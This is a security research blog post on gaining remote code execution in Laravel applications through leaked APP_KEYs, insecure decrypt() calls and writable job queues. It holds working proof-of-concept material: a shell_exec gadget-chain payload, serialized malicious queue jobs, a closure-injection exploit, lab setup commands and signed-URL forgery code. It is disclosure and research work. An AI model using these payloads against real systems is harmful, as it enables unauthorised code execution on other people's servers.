Exploiting Laravel based applications with leaked APP_KEYs and Queues
So you got access to a Laravel .env file, now what?
-
-
- Name
- Timo Müller
-
Laravel is a widespread open-source PHP web framework. It can be used to create complex web applications with relative ease and is used within many popular projects.
During a recent penetration test of such an application we gained access to the frameworks environment file. This file contains numerous sensitive Laravel configuration settings, including the applications APP_KEY
.
The APP_KEY is used for multiple security-related tasks, such as singing objects and protecting them from being tampered with. In the past, knowledge of the APP_KEY was a reliable way to gain remote code execution as it was used to sign the (serialized) XSRF token. An attacker with knowledge of the APP_KEY, was able to create a malicious XSRF token, which then lead to RCE through insecure deserialization (CVE-2018-15133), using a known gadget chain.
Since Lavel 5.6.30 cookie serialization is disabled by default. The APP_KEY does therefore no longer grant a guaranteed RCE and attackers need to get a bit more creative with their attack path. Within this blog post we highlight some alternative attack vectors that attackers might be able to exploit with a leaked environment file.
APP_KEY fundamentals
Laravel expects its environment file .env
within the root folder of the app. This file contains several Laravel configuration settings, including secrets such as the APP_KEY, database credentials and general settings. Leaking of the file content (e.g. through an arbitrary file read vulnerability), has a severe impact, as the leaked information can be abused in multiple ways.
The most prominent secret is the APP_KEY, which often can be abused to gain RCE. The most noteworthy functions that use the APP_KEY are:
- Laravel’s default “encrypt()” and “decrypt()" functions. If developers want to encrypt/decrypt any value or object, then they most likely will use these functions. They are also used to encrypt, and therefore tamper-protect, Laravel’s session cookies.
- Laravel also has an in-built feature to create tamper-resistant signed URLs. Furthermore, most signing-functions use the applications APP_KEY as secret.
- In a complex web application, you might see the need to queue tasks which are not time sensitive (e.g. sending a reminder mail). Such tasks can be handled through Laravel queues. As queue objects might be stored externally, they are also signed (e.g. here) with the APP_KEY.
We will briefly discuss how and why exploitation was possible in the past, and how a leaked APP_KEY is most commonly leveraged nowadays. We will then go into more detail for attacks through Laravel queue providers, which allow attackers to exploit Laravel instances, even without the need for an APP_KEY.
Laravel queues can be implemented through various queue providers, such as Amazon SQS, Redis, local, … . In our example we will focus on exploiting a queue implemented within Amazon SQS.
Past attack vectors
Lets first have a quick look at how Laravel was exploited through insecure deserialization in the past. Before version 5.6.30, Laravel used to serialize and deserialize Laravel session cookies by default. As in many other languages, this opened the door to deserialization attacks.
As soon as attackers gained access to the APP_KEY, they could also sign/encrypt arbitrary objects as cookies. An attacker could simply create a malicious serialized object with a known PHP gadget chain (for example with PHPGGC), sign the malicious object, and then sent it in place of the session cookie. Laravel tried to deserialize the maliciously crafted session cookie, and the security-relevant side effect (often RCE) of the gadget chain triggerd.
This exploitation path was possible until Laravel v5.6.30, which was released in August 2018.
The responsible (Laravel 5.4) code for decrypting cookies can be found within the following middleware code snippet. The middleware extracts the cookies, and sents them to the encrypter
class for decryption.
1protected function decryptCookie($cookie)
2{
3 return is_array($cookie)
4 ? $this->decryptArray($cookie)
5 : $this->encrypter->decrypt($cookie);
6}
At a first glance this code snippet does not seem too bad. However, the decrypt()
function has a second default parameter unserialize=true
(see Laravel API docs), which defines that the passed (encrypted) value must be deserialized during the decryption process.
1public function decrypt($payload, $unserialize = true)
2{
3 /* [...] */
4
5 // Here we will decrypt the value. If we are able to successfully decrypt it
6 // we will then unserialize it and return it out to the caller. If we are
7 // unable to decrypt this value we will throw out an exception message.
8 $decrypted = \openssl_decrypt(
9 $payload['value'], $this->cipher, $this->key, 0, $iv
10 );
11 /* [...] */
12 return $unserialize ? unserialize($decrypted) : $decrypted;
13}
As can be seen, after the decryption Laravel tries to unserialize the attacker-controlled cookie (malicious serialized object), which triggers the security relevant side-effect of the PHPGGC gadget chain. Nowadays the cookie handling behavior has been changed and Laravel calls the decrypt function without unserializing the content. This prevents the previously known easy exploitation path with a leaked APP_KEY:
1protected static $serialize = false;
2/* [...] */
3protected function decryptCookie($name, $cookie)
4{
5 return is_array($cookie)
6 ? $this->decryptArray($cookie)
7 // Safe decryption without unserializing
8 : $this->encrypter->decrypt($cookie, static::serialized($name));
9}
10/*
11 * Determine if the cookie contents should be serialized.
12 */
13public static function serialized($name)
14{
15 return static::$serialize;
16}
Present Exploitation
As exploitation nowadays is not as straightforward we need some other attack vectors.
Abusing other insecure “decrypt()” calls
In an ideal attack scenario, the vulnerable Laravel application will still simply deserialize a user-controlled object that is tamper protected with the APP_KEY. While we were analyzing some popular Laravel applications and extensions we noticed that some developers make the same mistake as Laravel did with their session cookies. Because the “decrypt(…)” function deserializes objects by default, it is an easy oversight for developers to just feed attacker-controlled encrypted content into it, even if they don’t expect a PHP object.
For example, this is the case in the Laravel Package for OPcache, a plugin to help developers handle PHP OPcache. The package installs a middleware controller that handles all requests to laravel-opcache. The opcache handler performs an authorization check by extracting and decrypting the key
URL parameter. This is done by using the default “decrypt” function without disabling deserialization of the value.
Within line 13 of the following code snippet it can be seen how the key
value is decrypted with the default value $unserialize = true
.
1public function handle($request, Closure $next)
2{
3 if (! $this->isAllowed($request)) {
4 throw new HttpException(403, 'This action is unauthorized.');
5 }
6
7 return $next($request);
8}
9
10protected function isAllowed($request)
11 {
12 try {
13 $decrypted = Crypt::decrypt($request->get('key'));
14 } catch (DecryptException $e) {
15 $decrypted = '';
16 }
17
18 return $decrypted == 'opcache' || in_array($this->getRequestIp($request), [$this->getServerIp(), '127.0.0.1', '::1']);
19 }
If attackers have knowledge of the APP_KEY they can exploit a vulnerable Laravel instance by:
- Creating a malicious serialized PHP object
- Encrypt the object with a leaked APP_KEY
- Send the payload to the vulnerable opcache handler:
https://<vulnApp>/opcache-api/status?key=<encryptedPayload>
- The application will try to insecurely decrypt the attacker-controlled object.
Exploiting Laravel queues
The following exploit paths were tested on Laravel 8 and Laravel 9.2.0.
By design, Laravel Queues need to temporarily store tasks and objects within an (external) queue provider. To prevent tampering at rest, these objects are partially signed with the APP_KEY.
During our research we discovered that Laravel handles queue objects insecurely before the signature validation check. This allows any attacker with access to the configured queue (e.g. AWS SQS access) to gain remote code execution, even without knowledge of the APP_KEY.
To understand the issue, we need to have a general overview of queue object structure. Usually, a queue object contains the following (for us important) elements:
job
- The class which queued the jobdata
- The data object which holds our actual Queue command which will be executeddata.commandName
- The name of the commanddata.command
- The actual command as a serialized objectdata.command.hash
- A signature ofdata.command
, to prevent tampering
{"uuid":"cf3a03c3-a235-44e8-8cbb-60c52f9756b6",
"displayName":"Closure (exploitClosure.php:33)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":
{"commandName":"Illuminate\\Queue\\CallQueuedClosure",
"command":"O:34:\"Illuminate\\Queue\\CallQueuedClosure\":1:{s:7:\"closure\";
O:47:\"Laravel\\SerializableClosure\\SerializableClosure\":1:{s:12:\"serializable\";
O:46:\"Laravel\\SerializableClosure\\Serializers\\Signed\":2:{s:12:\"serializable\";
s:314:\"O:46:\"Laravel\\SerializableClosure\\Serializers\\Native\":5:{s:3:\"use\";a:1:{s:11:\"placeholder\";s:0:\"\";}
s:8:\"function\";s:72:\"function () use ($placeholder) {\n echo $placeholder;\n }\";s:5:\"scope\";
s:35:\"App\\Console\\Commands\\exploitClosure\";s:4:\"this\";N;s:4:\"self\";s:32:\"00000000000000170000000000000000\";}\";
s:4:\"hash\";s:44:\"Zmyuh\/opzunLH1FEWOGRBafmAlsF8i2emyzbtM83wj4=\";}}}"}}
The command
object contains a hash which ensures that the serialized object was not tampered with. However, as the hash is part of the serialized PHP object, this check can only be performed after the object is unserialized.
Due to this the unserialize
call on the command
object is performed without any prior validation, resulting in an insecure deserialization vulnerability.
Insecure Deserialization of queue commands
An attacker can exploit the insecure deserialization of the command
object by injecting a malicious job into the Laravel queue.
We implemented a PoC exploit using the Laravel framework itself, as then we can easily reuse the functionality without much copy-pasting. Within Laravel you’re able to dispatch an object into the queue with the dispatch
function as seen within the following code snippet.
1$myFunction = function () use ($placeholder) {
2 echo $placeholder;
3};
4dispatch($myFunction);
Queue objects are handled within the Illuminate class Illuminate\Queue\Queue
. This class handles the creation of the queue object which will be serialized and later be sent into the queue. For exploitation purposes we can patch the createObjectPayload() function. Within the patched function we replace the legitimate command
object with a maliciously crafted serialized object.
protected function createObjectPayload($job, $queue)
{
// Create the job object
$payload = $this->withCreatePayloadHooks(...)
// Create the malicious unserialize payload (Gadget Chain)
$function = "shell_exec";
$param = 'touch /tmp/pwnedThroughQueue';
// Gadget Chain
$dispatcher = new \Illuminate\Bus\Dispatcher(null, $function, true);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param, true);
// Store Gadget Chain within $command
$command = serialize(clone $pendingBroadcast);
// Return the manipulated queue job object which contains our malicious command
return array_merge($payload, [
'data' => array_merge($payload['data'], [
'commandName' => get_class($job),
'command' => $command,
]),
]);
In the example we used the PendingBroadcast Gadget chain (Laravel/RCE9) from the PHP unserialize library PHPGGC.
In particular, we used this chain as it works in all recent Laravel versions and the magic method __destruct
is used within the chain. Gadget chains that are based on the __toString
magic method do not work, as the Queue handler never handles our malicious Queue object as a string, and therefore wont trigger these chains.
If we now have a look at the job object we will see our unserialize gadget within the command
section. Because we replaced the command
object in a quite quick and dirty approach, the object is not signed with a hash
. However, this is irrelevant, as the target will be exploited as soon as the command
is unserialized. (before the hash check)
{"uuid":"b67e9b33-2618-46cf-97b6-9396f658269c",
"displayName":"Closure (exploitClosure.php:33)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":{
"commandName":"Illuminate\\Queue\\CallQueuedClosure",
"command":"O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";
O:25:\"Illuminate\\Bus\\Dispatcher\":5:{s:12:\"\u0000*\u0000container\";N;s:11:\"\u0000*\u0000pipeline\";N;
s:8:\"\u0000*\u0000pipes\";a:0:{}s:11:\"\u0000*\u0000handlers\";a:0:{}s:16:\"\u0000*\u0000queueResolver\";
s:10:\"shell_exec\";}s:8:\"\u0000*\u0000event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":13:{s:5:\"event\";N;
s:5:\"tries\";N;s:7:\"timeout\";N;s:7:\"backoff\";N;s:10:\"connection\";s:28:\"touch \/tmp\/pwnedThroughQueue\";
s:5:\"queue\";N;s:15:\"chainConnection\";N;s:10:\"chainQueue\";N;s:19:\"chainCatchCallbacks\";N;s:5:\"delay\";N;
s:11:\"afterCommit\";N;s:10:\"middleware\";a:0:{}s:7:\"chained\";a:0:{}}}"}}
At this point we only need to wait until the target processes the malicious job from the queue. During this process the application will try to get the command
object by unserializing it from the job object. The following code snippet shows how the unserialize function is called on the job command.
Please note, Laravel also allows users to use encrypted command
objects. As already mentioned, the encryption/decryption requires a valid APP_KEY for exploitation. However, as long as our command
starts with the string O:
(indicating an “Object” within a serialized PHP object), Laravel will always just try to unserialize our attacker-controlled command in plaintext (Line 4-6).
1// /vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php:95
2protected function getCommand(array $data)
3{
4 if (str_starts_with($data['command'], 'O:')) {
5 return unserialize($data['command']);
6 }
7
8 if ($this->container->bound(Encrypter::class)) {
9 return unserialize($this->container[Encrypter::class]->decrypt($data['command']));
10 }
11
12 throw new RuntimeException('Unable to extract job payload.');
13}
After the attacker-controlled command
is unserialized successfully, the queue routine continues. At a later point Laravel notices that the command
object does not have the expected format. The application will throw an exception and then attempt to clean up the invalid malicious object. During the cleanup, the magic method __destroy
of our gadget chain is called, and the attacker-controlled command touch /tmp\/pwnedThroughQueue
gets executed.
To sum things up: Laravel does not validate the command
object within queue jobs, before calling an unserialize
on the object. An attacker with access to the queue (SQS, Redis, …) can therefore gain RCE without knowledge of the APP_KEY. This attack scenario is especially interesting if an attacker gains access to the Queue through a vulnerability which does not disclose the APP_KEY. (e.g. hardcoded or easy to guess credentials for the queue connection, or a leaked AWS access token).
Exploit due to arbitrary scopes for Queueing Closures
This exploit path also works through Laravel Queueing Closures. Closures are “simple tasks that need to be executed outside of the current request cycle”, and they allow an attacker to execute arbitrary PHP code through a queue.
However; in this scenario an attacker needs access to the Queue and the APP_KEY. If the Laravel environment file is disclosed, then these conditions are often met as the file contains all necessary information. Unlike the previous example, this approach does not rely on deserialization and will therefore also work if no working gadget chain is available.
As seen in the docs, a closure can be dispatched to the queue with the following code snippet:
1$podcast = App\Podcast::find(1);
2
3dispatch(function () use ($podcast) {
4 $podcast->publish();
5});
We first assumed queueing closures are usually expected to be ran on user-defined classes, within a user-defined scope, such as a Podcast
class, or a Newsletter
class. Furthermore, we thought that functions within a queueing closure need to actually exist. However, both of these assumptions were wrong. An attacker can execute arbitrary PHP code, as long as the scope within the queueing closure job exists.
As a proof of concept we modified the existing vendor class (in our attacker environment) Illuminate\Cookie\Middleware\EncryptCookies
to contain our malicious sendMaliciousClosure()
function. The EncryptCookies
class should exist within all Laravel projects, and the scope should therefore always exist. Please note, we could also manually change the scope
within the previously mentioned job
object through reflection.
First, we change the EncryptCookies
class as seen within the following code snippet (Line 11-18). Here we define a closure, which simply makes a call to shell_exec
to execute arbitrary OS commands. This closure is then dispatched to the configured Laravel queue as a job.
1// /app/Http/Middleware/EncryptCookies.php
2<?php
3
4namespace App\Http\Middleware;
5
6use Illuminate\Cookie\Middleware\EncryptCookies as Middleware;
7
8class EncryptCookies extends Middleware
9{
10 [...]
11 public static function sendMaliciousClosure($cmd) // Malicious Changes
12 {
13 dispatch(function () use ($cmd) {
14 echo "Sending queue with shellexec(: " . $cmd . "\n";
15 shell_exec($cmd);
16 });
17 }
18}
Our malicious closure can be sent through our own Laravel Artisan command as seen in the following code snippet. Please note that we call the function sendMaliciousClosure
statically from within the scope of EncryptCookies
. This is important, as this scope needs to exist within the target application as well.
1public function handle()
2{
3 $cmd = $this->argument('cmd');
4 EncryptCookies::sendMaliciousClosure($cmd);
5}
During the job dispatch the queueing closure is created and signed with the leaked APP_KEY. Following we can see the serialized job stored within the queue. Our SerializableClosure
can be found within the command
object.
As we sent a closure to the queue, all required function definitions are included within the closure:
{"uuid":"45114539-32a2-4c25-9033-173b5030e851",
"displayName":"Closure (EncryptCookies.php:20)",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,"maxExceptions":null,"failOnTimeout":false,"backoff":null,"timeout":null,"retryUntil":null,
"data":{
"commandName":"Illuminate\\Queue\\CallQueuedClosure",
"command":"O:34:\"Illuminate\\Queue\\CallQueuedClosure\":1:{s:7:\"closure\";
O:47:\"Laravel\\SerializableClosure\\SerializableClosure\":1:{s:12:\"serializable\";
O:46:\"Laravel\\SerializableClosure\\Serializers\\Signed\":2:{s:12:\"serializable\";
s:383:\"O:46:\"Laravel\\SerializableClosure\\Serializers\\Native\":5:{s:3:\"use\";a:1:{s:3:\"cmd\";s:19:\"touch \/tmp\/
pwnScope\";}s:8:\"function\";s:130:\"function () use ($cmd) {\n echo \"Sending queue with shellexec(: \" .
$cmd . \"\\n\";\n shell_exec($cmd);\n }\";s:5:\"scope\";s:34:\"App\\Http\\Middleware\\EncryptCookies\";
s:4:\"this\";N;s:4:\"self\";s:32:\"00000000000000170000000000000000\";}\";s:4:\"hash\";
s:44:\"5TJIDz0Ya9OxxqclvEH5ZXkvZRSEH5uV2sT+r0pCYAc=\";}}}"}}
Again, once the target application retrieves the queue object it tries to (insecurely) deserialize the command
object. Once this is done, Laravel validates the hash
with the APP_KEY. After the hash is verified, Laravel will try to resolve the scope App\Http\Middleware\EncryptCookies
. If this scope exists, then the attacker-controlled closure/code is executed. This can immediately be verified, as our attacker-controlled echo
is called from within the context of the targets' queue worker.
Especially with closures in mind, it should be mentioned that Laravel has no expectations on what it will accept through queues. The only required setup for a developer is the configuration of a Laravel Queue. Once this queue is configured, Laravel does not check which Queue features it should process, instead Laravel will try to process everything it gets fed through a queue. The code does not differentiate between a queue for handling queueing closures, or a queue which (should) handle only a Newsletter
class object.
Exploitation Toolkit / Test Environment
To verify these vulnerabilities we created a small Laravel test and exploit environment.
To set up the environment you can follow these steps:
Clone the test enviornment repository:
git clone git@github.com:timoles/laravel_queue_exploit_client.git # TODO update URL
cd laravel_queue_exploit_client
docker-compose up --build -d
Manually install composer dependencies (this should not be needed but we had some issues in the past):
docker exec -it laravel_queue_exploit_client_laravel_exploit_1 composer require aws/aws-sdk-php
docker exec -it laravel_queue_exploit_client_laravel_exploit_scope_1 composer require aws/aws-sdk-php
docker exec -it laravel_queue_exploit_client_laravel_victim_1 composer require aws/aws-sdk-php
Set up your test environment:
laravel_victim_app
andlaravel_exploit_scope_app
need to have the sameAPP_KEY
.laravel_queue_exploit_client_laravel_exploit_1
will have a randomAPP_KEY
, which is fine- You can edit the
APP_KEY
variable within the corresponding.env
files. - All three environment files need to have the same AWS SQS set up. A tutorial on how to set this up can be found here: https://dev.to/ichtrojan/configuring-laravel-queues-with-aws-sqs-3f0n
# e.g
# APP_KEY=APP_KEY=base64:2qX7NIuZPQ2Ix9m2af/5hV2BgTuBRhQY+/QE42vpyB8=
# QUEUE_CONNECTION=sqs
# AWS_ACCESS_KEY_ID=<accessKeyID>
# AWS_SECRET_ACCESS_KEY=<accessKeySecret>
# AWS_DEFAULT_REGION=us-east-1
# SQS_PREFIX=https://sqs.us-east-1.amazonaws.com/<queueID>/
vim laravel_victim_app/.env
vim laravel_exploit_scope_app/.env
vim laravel_exploit_app/.env
In order to exploit the target, the application needs to listen/work the configured queue. This can be done with the following command:
# Run the SQS queue
docker exec -it laravel_queue_exploit_client_laravel_victim_1 php artisan queue:listen sqs
The payloads can then be sent out with the exploit clients.
The following command will send a job into the queue which will exploit the insecure deserialization of the command
:
docker exec -it laravel_queue_exploit_client_laravel_exploit_1 php /app/artisan command:exploitClosureDeser
The next command will execute arbitrary PHP code through Queueing Closures:
docker exec -it laravel_queue_exploit_client_laravel_exploit_scope_1 php /app/artisan command:exploitClosureWrongScope 'touch /tmp/pwnScope'
You will see the target processing incoming queues periodically. Successful exploitation should create files within the /tmp/
directory of the targets file system:
docker exec -it laravel_queue_exploit_client_laravel_victim_1 ls /tmp/
If you want to check out which code snippets were changed you can grep for the string Malicious Changes
, which indicates code snippets that are changed within the clients.
grep -ran 'Malicious Changes'
# ./laravel_exploit_scope_app/app/Http/Middleware/EncryptCookies.php:17: public static function sendMaliciousClosure($cmd) // Malicious Changes
# ./laravel_exploit_scope_app/app/Console/Commands/exploitClosure.php:29: public function handle() // Malicious Changes
# ./laravel_exploit_app/app/Console/Commands/exploitClosure.php:28: public function handle() // Malicious Changes
# ...
Create malicious signed URLs
Another, less severe, exploitation scenario can be the creation of signed URLs. With a signed URL a developer can validate that a requested URL was not tampered with. This can be used for various use-cases. One use case described by Laravel within the official documentation would be the usage of a signed URL for an “unsubscribe” link. In this case the signed link prevents users to unsubscribe others by validating the signature of the tamper-resistant URL.
Most of the time the creation of signed URLs will have relatively little impact in comparison to other APP_KEY attack vectors. However, it’s not unheard of to have developers rely on signed URLs to make up for a lack of input validation, for example to prevent SQL injections, or IDOR vulnerabilities.
As can be seen within the following code example, the signed URL creation process is quite simple, and can easily created within a Laravel Artisan command:
1$url = 'https://www.mogwailabs.de/?key=value';
2$key = config('app.key'); // Read APP_KEY
3
4// Create URL signature
5$signature = hash_hmac('sha256', $url, $key);
6// Check if URL parameters exist (needed to properly add the signature)
7$separator = '?';
8if(str_contains($url, '?')){
9 $separator = '&';
10}
11
12echo $url . $separator . 'signature=' . $signature . "\n";
13return 0
Summing Up
While gaining access to a leaked APP_KEY is no longer a guarantee for code execution, there are still many attack scenarios where this goal can be archived.
Most of the time, a leaked APP_KEY by itself is not enough to exploit an application. An attacker always needs an additional weakness, for example an insecure call to a “decrypt()” function or access to the queue provider used by the application. The latter case even eliminates the need for an APP_KEY altogether. The likelihood for complex Laravel applications to use queues is quite high, as they allow to reduce the latency of the application for time consuming tasks.
This, combined with the growing share for cloud-native apps, usage of SaaS models (e.g. sending mails through AWS) and Laravels build in support for multiple external Queue providers, give an attacker a good chance that they get their hands on a writeable queue. In term, this gives attackers yet another attack vector to achieve remote code execution on Laravel instances.
Attacking Laravel queues is not only useful when the attacker exploits an application directly. In some scenarios an attacker might also be able to leverage an insecure queue to pivot within internal networks, by exploiting intranet-facing Laravel instances through external queue providers.